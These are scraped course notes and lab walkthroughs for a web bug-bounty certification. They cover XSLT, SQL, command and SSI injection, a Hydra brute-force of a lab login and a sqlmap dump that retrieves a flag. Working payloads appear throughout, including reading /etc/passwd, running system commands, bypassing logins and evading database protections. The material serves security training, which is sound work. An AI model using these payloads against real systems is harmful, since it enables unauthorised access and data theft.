Local File Inclusion (LFI)[](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/xslt-injection/exploiting-xslt-injection#local-file-inclusion-lfi) We can try to use multiple different functions to read a local file. Whether a payload will work depends on the XSLT version and the configuration of the XSLT library. For instance, XSLT contains a function `unparsed-text` that can be used to read a local file: Code: xml However, it was only introduced in XSLT version 2.0. Thus, our sample web application does not support this function and instead errors out. However, if the XSLT library is configured to support PHP functions, we can call the PHP function `file_get_contents` using the following XSLT element: Code: xml Our sample web application is configured to support PHP functions. As such, the local file is displayed in the response: arrow-circle-left redo home ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F145%2Fxslt%2Fxslt_exploitation_5.png&width=768&dpr=3&quality=100&sign=82a2bb57&sv=2) * * * ### Remote Code Execution (RCE)[](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/xslt-injection/exploiting-xslt-injection#remote-code-execution-rce) If an XSLT processor supports PHP functions, we can call a PHP function that executes a local system command to obtain RCE. For instance, we can call the PHP function `system` to execute a command: Code: xml arrow-circle-left redo home ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F145%2Fxslt%2Fxslt_exploitation_6.png&width=768&dpr=3&quality=100&sign=41613190&sv=2) Tried inserting this payload ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2F1842858984-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FysDlYrLDpld6VwcWEx4H%252Fuploads%252FZeLwUUNu2DS3p4egr5tw%252Fimage.png%3Falt%3Dmedia%26token%3Dc6eee797-5e1e-42f7-aaae-9b963b578195&width=768&dpr=3&quality=100&sign=1f7fe1ab&sv=2) A: HTB{3a4fe85c1f1e2b61cabe9836a150f892} [PreviousIntro to XSLT Injection](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/xslt-injection/intro-to-xslt-injection) [NextPreventing XSLT Injection](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/xslt-injection/preventing-xslt-injection) Last updated 10 months ago * [Identifying XSLT Injection](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/xslt-injection/exploiting-xslt-injection#identifying-xslt-injection) * [Information Disclosure](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/xslt-injection/exploiting-xslt-injection#information-disclosure) * [Local File Inclusion (LFI)](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/xslt-injection/exploiting-xslt-injection#local-file-inclusion-lfi) * [Remote Code Execution (RCE)](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/xslt-injection/exploiting-xslt-injection#remote-code-execution-rce) Copy Version: <xsl:value-of select="system-property('xsl:version')" /> <br/> Vendor: <xsl:value-of select="system-property('xsl:vendor')" /> <br/> Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" /> <br/> Product Name: <xsl:value-of select="system-property('xsl:product-name')" /> <br/> Product Version: <xsl:value-of select="system-property('xsl:product-version')" /> Copy <xsl:value-of select="unparsed-text('/etc/passwd', 'utf-8')" /> Copy <xsl:value-of select="php:function('file_get_contents','/etc/passwd')" /> Copy <xsl:value-of select="php:function('system','id')" /> Copy <xsl:value-of select="php:function('system','cat ../../../flag.txt')" /> --- # Skills Assessment 1 | CBBH For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt) . This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/skills-assessment-1.md) . What is the password for the basic auth login? Copy // brute forcing password of a common user account kali㉿kali)-[~/cbbh/bruteforce] └─$ hydra -l admin -P 2023-200_most_used_passwords.txt 94.237.63.24 http-get / -s 38634 Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway). Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-12-12 12:40:06 [DATA] max 16 tasks per 1 server, overall 16 tasks, 200 login tries (l:1/p:200), ~13 tries per task [DATA] attacking http-get://94.237.63.24:38634/ [38634][http-get] host: 94.237.63.24 login: admin password: Admin123 1 of 1 target successfully completed, 1 valid password found Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-12-12 12:40:09 After successfully brute forcing the login, what is the username you have been given for the next part of the skills assessment? ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2F1842858984-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FysDlYrLDpld6VwcWEx4H%252Fuploads%252FVlyFLw5sGZQv0De0wYQx%252Fimage.png%3Falt%3Dmedia%26token%3Df1d4864e-21e1-44b2-bd6c-1ce98a40a59d&width=768&dpr=3&quality=100&sign=264713a8&sv=2) [PreviousCustom Wordlists](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/medusa/custom-wordlists) [NextRe Walk + Write Up](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/skills-assessment-1/re-walk-+-write-up) Last updated 1 year ago --- # Exploitation | CBBH For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt) . This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/exploitation.md) . [Database Enumeration](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/exploitation/database-enumeration) [Reading Files](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/exploitation/reading-files) [Writing Files](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/exploitation/writing-files) [PreviousUnion Injection](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/sql-injections/union-injection) [NextDatabase Enumeration](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/exploitation/database-enumeration) Last updated 1 year ago --- # Using Comments | CBBH For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt) . This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/sql-injections/using-comments.md) . * * * In this section we will learn how to use comments to subvert the logic of more advanced SQL queries and end up with a working SQL query to bypass the login authentication process. * * * ### Comments[](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/sql-injections/using-comments#comments) Just like any other language, SQL allows the use of comments as well. Comments are used to document queries or ignore a certain part of the query. We can use two types of line comments with MySQL `--` and `#`, in addition to an in-line comment `/**/` (though this is not usually used in SQL injections). The `--` can be used as follows: Using Comments Copy mysql> SELECT username FROM logins; -- Selects usernames from the logins table +---------------+ | username | +---------------+ | admin | | administrator | | john | | tom | +---------------+ 4 rows in set (0.00 sec) Note: In SQL, using two dashes only is not enough to start a comment. So, there has to be an empty space after them, so the comment starts with (-- ), with a space at the end. This is sometimes URL encoded as (--+), as spaces in URLs are encoded as (+). To make it clear, we will add another (-) at the end (-- -), to show the use of a space character. The `#` symbol can be used as well. Using Comments Tip: if you are inputting your payload in the URL within a browser, a (#) symbol is usually considered as a tag, and will not be passed as part of the URL. In order to use (#) as a comment within a browser, we can use '%23', which is an URL encoded (#) symbol. The server will ignore the part of the query with `AND password = 'something'` during evaluation. * * * ### Auth Bypass with comments[](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/sql-injections/using-comments#auth-bypass-with-comments) Let us go back to our previous example and inject `admin'--` as our username. The final query will be: Code: sql As we can see from the syntax highlighting, the username is now `admin`, and the remainder of the query is now ignored as a comment. Also, this way, we can ensure that the query does not have any syntax issues. Let us try using these on the login page, and log in with the username `admin'--` and anything as the password: ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F33%2Fadmin_dash.png&width=768&dpr=3&quality=100&sign=c1bba1d3&sv=2) admin\_dash As we see, we were able to bypass the authentication, as the new modified query checks for the username, with no other conditions. * * * ### Another Example[](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/sql-injections/using-comments#another-example) SQL supports the usage of parenthesis if the application needs to check for particular conditions before others. Expressions within the parenthesis take precedence over other operators and are evaluated first. Let us look at a scenario like this: ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F33%2Fparanthesis_fail.png&width=768&dpr=3&quality=100&sign=dcb400b4&sv=2) paranthesis\_fail The above query ensures that the user's id is always greater than 1, which will prevent anyone from logging in as admin. Additionally, we also see that the password was hashed before being used in the query. This will prevent us from injecting through the password field because the input is changed to a hash. Let us try logging in with valid credentials `admin / p@ssw0rd` to see the response. ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F33%2Fparanthesis_valid_fail.png&width=768&dpr=3&quality=100&sign=9ef15665&sv=2) paranthesis\_valid\_fail As expected, the login failed even though we supplied valid credentials because the admin’s ID equals 1. So let us try logging in with the credentials of another user, such as `tom`. ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F33%2Ftom_login.png&width=768&dpr=3&quality=100&sign=e7b5a381&sv=2) tom\_login Logging in as the user with an id not equal to 1 was successful. So, how can we log in as the admin? We know from the previous section on comments that we can use them to comment out the rest of the query. So, let us try using `admin'--` as the username. ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F33%2Fparanthesis_error.png&width=768&dpr=3&quality=100&sign=593983e0&sv=2) paranthesis\_error The login failed due to a syntax error, as a closed one did not balance the open parenthesis. To execute the query successfully, we will have to add a closing parenthesis. Let us try using the username `admin')--` to close and comment out the rest. ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F33%2Fparanthesis_success.png&width=768&dpr=3&quality=100&sign=ec30035f&sv=2) paranthesis\_success The query was successful, and we logged in as admin. The final query as a result of our input is: Code: sql The query above is like the one from the previous example and returns the row containing admin. ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2F1842858984-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FysDlYrLDpld6VwcWEx4H%252Fuploads%252FKBhS0k3B49VVAJpFdMzr%252Fimage.png%3Falt%3Dmedia%26token%3Dc2411359-f214-409d-b05a-d7b67b7d932e&width=768&dpr=3&quality=100&sign=4fd9b4db&sv=2) payload: ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2F1842858984-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FysDlYrLDpld6VwcWEx4H%252Fuploads%252F4rrkSZE7gJxYYv0fVnBc%252Fimage.png%3Falt%3Dmedia%26token%3D349757ef-24b3-4262-89d6-7c8267800120&width=768&dpr=3&quality=100&sign=52c78e9a&sv=2) [PreviousSubverting Query Logic](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/sql-injections/subverting-query-logic) [NextUnion Clause](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/sql-injections/union-clause) Last updated 1 year ago * [Comments](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/sql-injections/using-comments#comments) * [Auth Bypass with comments](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/sql-injections/using-comments#auth-bypass-with-comments) * [Another Example](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/sql-injections/using-comments#another-example) Copy mysql> SELECT * FROM logins WHERE username = 'admin'; # You can place anything here AND password = 'something' +----+----------+----------+---------------------+ | id | username | password | date_of_joining | +----+----------+----------+---------------------+ | 1 | admin | p@ssw0rd | 2020-07-02 00:00:00 | +----+----------+----------+---------------------+ 1 row in set (0.00 sec) Copy SELECT * FROM logins WHERE username='admin'-- ' AND password = 'something'; Copy SELECT * FROM logins where (username='admin') Copy // Payload 'or id=5)# --- # Injecting Commands | CBBH For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt) . This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/exploitation/injecting-commands.md) . * * * So far, we have found the `Host Checker` web application to be potentially vulnerable to command injections and discussed various injection methods we may utilize to exploit the web application. So, let's start our command injection attempts with the semi-colon operator (`;`). * * * ### Injecting Our Command[](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/exploitation/injecting-commands#injecting-our-command) We can add a semi-colon after our input IP `127.0.0.1`, and then append our command (e.g. `whoami`), such that the final payload we will use is (`127.0.0.1; whoami`), and the final command to be executed would be: Code: bash Copy ping -c 1 127.0.0.1; whoami First, let's try running the above command on our Linux VM to ensure it does run: Injecting Commands Copy 21y4d@htb[/htb]$ ping -c 1 127.0.0.1; whoami PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data. 64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=1.03 ms --- 127.0.0.1 ping statistics --- 1 packets transmitted, 1 received, 0% packet loss, time 0ms rtt min/avg/max/mdev = 1.034/1.034/1.034/0.000 ms 21y4d As we can see, the final command successfully runs, and we get the output of both commands (as mentioned in the previous table for `;`). Now, we can try using our previous payload in the `Host Checker` web application: ![Host Checker interface with a text field for entering an IP address, showing '127.0.0.1; whoami' entered, a 'Check' button, and a tooltip saying 'Match the requested format'.](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F109%2Fcmdinj_basic_injection.jpg&width=300&dpr=3&quality=100&sign=ef0d5aa3&sv=2) As we can see, the web application refused our input, as it seems only to accept input in an IP format. However, from the look of the error message, it appears to be originating from the front-end rather than the back-end. We can double-check this with the `Firefox Developer Tools` by clicking `[CTRL + SHIFT + E]` to show the Network tab and then clicking on the `Check` button again: ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F109%2Fcmdinj_basic_injection_network.jpg&width=768&dpr=3&quality=100&sign=9b0b5934&sv=2) Developer tools interface showing Network tab. Instructions: Perform a request or click 'Reload' for network activity details. Click stopwatch icon for performance analysis. No requests displayed. As we can see, no new network requests were made when we clicked on the `Check` button, yet we got an error message. This indicates that the `user input validation is happening on the front-end`. This appears to be an attempt at preventing us from sending malicious payloads by only allowing user input in an IP format. `However, it is very common for developers only to perform input validation on the front-end while not validating or sanitizing the input on the back-end.` This occurs for various reasons, like having two different teams working on the front-end/back-end or trusting front-end validation to prevent malicious payloads. However, as we will see, front-end validations are usually not enough to prevent injections, as they can be very easily bypassed by sending custom HTTP requests directly to the back-end. * * * ### Bypassing Front-End Validation[](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/exploitation/injecting-commands#bypassing-front-end-validation) The easiest method to customize the HTTP requests being sent to the back-end server is to use a web proxy that can intercept the HTTP requests being sent by the application. To do so, we can start `Burp Suite` or `ZAP` and configure Firefox to proxy the traffic through them. Then, we can enable the proxy intercept feature, send a standard request from the web application with any IP (e.g. `127.0.0.1`), and send the intercepted HTTP request to `repeater` by clicking `[CTRL + R]`, and we should have the HTTP request for customization: **Burp POST Request** ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F109%2Fcmdinj_basic_repeater_1.jpg&width=768&dpr=3&quality=100&sign=5de4cb3a&sv=2) HTTP request details in raw format, showing headers like Host, User-Agent, and Content-Type, with IP set to 127.0.0.1. We can now customize our HTTP request and send it to see how the web application handles it. We will start by using the same previous payload (`127.0.0.1; whoami`). We should also URL-encode our payload to ensure it gets sent as we intend. We can do so by selecting the payload and then clicking `[CTRL + U]`. Finally, we can click `Send` to send our HTTP request: **Burp POST Request** ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F109%2Fcmdinj_basic_repeater_2.jpg&width=768&dpr=3&quality=100&sign=60440869&sv=2) Interface showing an HTTP request and response. The request includes headers like Host and User-Agent, with IP '127.0.0.1; whoami'. The response displays HTML with a ping result for 127.0.0.1. As we can see, the response we got this time contains the output of the `ping` command and the result of the `whoami` command, `meaning that we successfully injected our new command`. Review the HTML source code of the page to find where the front-end input validation is happening. On which line number is it?[](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/exploitation/injecting-commands#review-the-html-source-code-of-the-page-to-find-where-the-front-end-input-validation-is-happening.-o) ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- Source Code down below Answer: 17 [PreviousDetection](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/exploitation/detection) [NextOther Injection Operators](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/exploitation/other-injection-operators) Last updated 1 year ago * [Injecting Our Command](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/exploitation/injecting-commands#injecting-our-command) * [Bypassing Front-End Validation](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/exploitation/injecting-commands#bypassing-front-end-validation) * [Review the HTML source code of the page to find where the front-end input validation is happening. On which line number is it?](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/exploitation/injecting-commands#review-the-html-source-code-of-the-page-to-find-where-the-front-end-input-validation-is-happening.-o) Copy <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Host Checker</title> <link rel="stylesheet" href="./style.css"> </head> <body> <div class="main"> <h1>Host Checker</h1> <form method="post" action=""> <label>Enter an IP Address</label> <input type="text" name="ip" placeholder="127.0.0.1" pattern="^((\d{1,2}|1\d\d|2[0-4]\d|25[0-5])\.){3}(\d{1,2}|1\d\d|2[0-4]\d|25[0-5])$"> <button type="submit">Check</button> </form> <p> <pre> </pre> </p> </div> <script src='https://cdnjs.cloudflare.com/ajax/libs/jquery/3.1.0/jquery.min.js'></script> </body> </html> --- # Rewalk | CBBH For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt) . This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/skills-assessment/rewalk.md) . Skills Assessment[](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/skills-assessment/rewalk#skills-assessment) -------------------------------------------------------------------------------------------------------------------------- ### Question 1[](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/skills-assessment/rewalk#question-1) #### "What's the contents of table final\_flag?"[](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/skills-assessment/rewalk#whats-the-contents-of-table-final_flag) After spawning the target machine, students need to visit its website's root page and inspect the web application for possible attack vectors: ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fwalkthroughs%2F55%2FSQLMap_Essentials_image_18.png&width=768&dpr=3&quality=100&sign=3b24c3f3&sv=2) SQLMap\_Essentials\_image\_18.png Students then need to click all buttons while having the Network tab of the Web Developer tools open, searching for a `POST` request that can be abused. The only button that sends a `POST` request is under `Catalog` -> `Shop`, specifically, the `ADD TO CART +` button on an item: ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fwalkthroughs%2F55%2FSQLMap_Essentials_image_19.png&width=768&dpr=3&quality=100&sign=2a533512&sv=2) SQLMap\_Essentials\_image\_19.png Therefore, students need to select the request and copy the raw request headers, in addition to the raw request payload, and save them into a file: ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fwalkthroughs%2F55%2FSQLMap_Essentials_image_20.png&width=768&dpr=3&quality=100&sign=48d68252&sv=2) SQLMap\_Essentials\_image\_20.png ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fwalkthroughs%2F55%2FSQLMap_Essentials_image_21.png&width=768&dpr=3&quality=100&sign=e192e733&sv=2) SQLMap\_Essentials\_image\_21.png The final request file that will be provided to `sqlmap` is: Skills Assessment Once students have saved the request into a file, they need to launch `sqlmap` providing it to the option `-r`. After trial and error, students will come to know that the options `--level 5`, `--risk 3`, `--random-agent`, `--tamper=between`, and `--technique=t` are all required to bypass the protections put forth to protect the database. Afterward, when students run `sqlmap` with these options, they will discover the database `production` and the table `final_flag` within it: Code: shell Skills Assessment Therefore, instead of letting `sqlmap` fetch unwanted data, students can stop it (`Ctrl` + `C`) and only make it fetch the table `final_flag` within the database `production`, finding the flag `HTB{n07_50_h4rd_r16h7?!}`: Code: shell Skills Assessment Answer: {hidden} [PreviousSkills Assessment](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/skills-assessment) [NextCheat Sheet](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/cheat-sheet) Last updated 8 months ago * [Skills Assessment](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/skills-assessment/rewalk#skills-assessment) * [Question 1](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/skills-assessment/rewalk#question-1) Copy POST /action.php HTTP/1.1 Host: STMIP:STMPO User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/json Content-Length: 8 Origin: http://178.62.91.22:31147 DNT: 1 Connection: keep-alive Referer: http://STMIP:STMPO/shop.html Sec-GPC: 1 {"id":1} Copy sqlmap -r request.req --batch --dump --level 5 --risk 3 --random-agent --tamper=between --technique=t Copy ┌┌─[eu-academy-1]─[10.10.14.228]─[htb-ac413848@htb-jhizwe8dgn]─[~] └──╼ [★]$ sqlmap -r request.req --batch --dump --level 5 --risk 3 --random-agent --tamper=between --technique=t ___ __H__ ___ ___[(]_____ ___ ___ {1.6.8#stable} |_ -| . [)] | .'| . | |___|_ [(]_|_|_|__,| _| |_|V... |_| https://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting @ 18:42:13 /2022-11-29/ [18:42:13] [INFO] parsing HTTP request from 'request.req' [18:42:13] [INFO] loading tamper module 'between' [18:42:13] [INFO] fetched random HTTP User-Agent header value 'Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.1) Gecko/20060916 Firefox/2.0b2' from file '/usr/share/sqlmap/data/txt/user-agents.txt' JSON data found in POST body. Do you want to process it? [Y/n/q] Y [18:42:14] [INFO] resuming back-end DBMS 'mysql' [18:42:14] [INFO] testing connection to the target URL sqlmap resumed the following injection point(s) from stored session: --- Parameter: JSON id ((custom) POST) Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: {"id":"1 AND (SELECT 7108 FROM (SELECT(SLEEP(5)))iDXK)"} <SNIP> [18:42:29] [INFO] adjusting time delay to 1 second due to good response times production [18:43:02] [INFO] fetching tables for database: 'production' [18:43:02] [INFO] fetching number of tables for database 'production' [18:43:02] [INFO] retrieved: 5 [18:43:04] [INFO] retrieved: categories [18:43:31] [INFO] retrieved: brands [18:43:49] [INFO] retrieved: products [18:44:18] [INFO] retrieved: order_items [18:44:55] [INFO] retrieved: final_flag [18:45:29] [INFO] fetching columns for table 'order_items' in database 'production' [18:45:29] [INFO] retrieved: ^C Copy sqlmap -r request.req --batch --dump --level 5 --risk 3 --random-agent --tamper=between --technique=t -D production -T final_flag Copy ┌─[eu-academy-1]─[10.10.14.228]─[htb-ac413848@htb-7lpyzphcoo]─[~] └──╼ [★]$ sqlmap -r request.req --batch --dump --level 5 --risk 3 --random-agent --tamper=between --technique=t -D production -T final_flag ___ __H__ ___ ___[.]_____ ___ ___ {1.6.8#stable} |_ -| . ['] | .'| . | |___|_ [,]_|_|_|__,| _| |_|V... |_| https://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting @ 18:54:34 /2022-11-29/ [18:54:34] [INFO] parsing HTTP request from 'request.req' [18:54:34] [INFO] loading tamper module 'between' [18:54:34] [INFO] fetched random HTTP User-Agent header value 'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.2a1pre) Gecko/20110208 Firefox/4.2a1pre' from file '/usr/share/sqlmap/data/txt/user-agents.txt' JSON data found in POST body. Do you want to process it? [Y/n/q] Y [18:54:34] [INFO] testing connection to the target URL <SNIP> sqlmap identified the following injection point(s) with a total of 69 HTTP(s) requests: --- Parameter: JSON id ((custom) POST) Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: {"id":"1 AND (SELECT 7393 FROM (SELECT(SLEEP(5)))ZWNA)"} --- [18:55:40] [WARNING] changes made by tampering scripts are not included in shown payload content(s) [18:55:40] [INFO] the back-end DBMS is MySQL [18:55:40] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y web server operating system: Linux Debian 10 (buster) web application technology: Apache 2.4.38 back-end DBMS: MySQL >= 5.0.12 (MariaDB fork) [18:55:45] [INFO] fetching columns for table 'final_flag' in database 'production' [18:55:45] [INFO] retrieved: [18:55:55] [INFO] adjusting time delay to 1 second due to good response times 2 [18:55:55] [INFO] retrieved: id [18:56:01] [INFO] retrieved: content [18:56:27] [INFO] fetching entries for table 'final_flag' in database 'production' [18:56:27] [INFO] fetching number of entries for table 'final_flag' in database 'production' [18:56:27] [INFO] retrieved: 1 [18:56:28] [WARNING] (case) time-based comparison requires reset of statistical model, please wait.............................. (done) HTB{n07_50_h4rd_r16h7?!} [18:57:57] [INFO] retrieved: 1 Database: production Table: final_flag [1 entry] +----+--------------------------+ | id | content | +----+--------------------------+ | 1 | HTB{n07_50_h4rd_r16h7?!} | +----+--------------------------+ --- # Exploiting SSI Injection | CBBH For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt) . This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssi-injection/exploiting-ssi-injection.md) . Exploiting SSI Injection[](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssi-injection/exploiting-ssi-injection#exploiting-ssi-injection) --------------------------------------------------------------------------------------------------------------------------------------------------------- * * * Now that we have discussed how SSI works in the previous section, let us discuss how to exploit SSI injection. * * * ### Exploitation[](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssi-injection/exploiting-ssi-injection#exploitation) Let us take a look at our sample web application. We are greeted by a simple form asking for our name: arrow-circle-left redo home ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F145%2Fssi%2Fssi_1.png&width=768&dpr=3&quality=100&sign=12661bfa&sv=2) If we enter our name, we are redirected to `/page.shtml`, which displays some general information: arrow-circle-left redo home ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F145%2Fssi%2Fssi_2.png&width=768&dpr=3&quality=100&sign=4c00e185&sv=2) We can guess that the page supports SSI based on the file extension. If our username is inserted into the page without prior sanitization, it might be vulnerable to SSI injection. Let us confirm this by providing a username of `<!--#printenv -->`. This results in the following page: arrow-circle-left redo home ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F145%2Fssi%2Fssi_3.png&width=768&dpr=3&quality=100&sign=350f4504&sv=2) As we can see, the directive is executed, and the environment variables are printed. Thus, we have successfully confirmed an SSI injection vulnerability. Let us confirm that we can execute arbitrary commands using the `exec` directive by providing the following username: `<!--#exec cmd="id" -->`: arrow-circle-left redo home ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F145%2Fssi%2Fssi_4.png&width=768&dpr=3&quality=100&sign=1e0751e7&sv=2) The server successfully executed our injected command. This enables us to take over the web server fully. ### Exploit the SSI Injection vulnerability to obtain RCE and read the flag.[](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssi-injection/exploiting-ssi-injection#exploit-the-ssi-injection-vulnerability-to-obtain-rce-and-read-the-flag) Test with this exec command 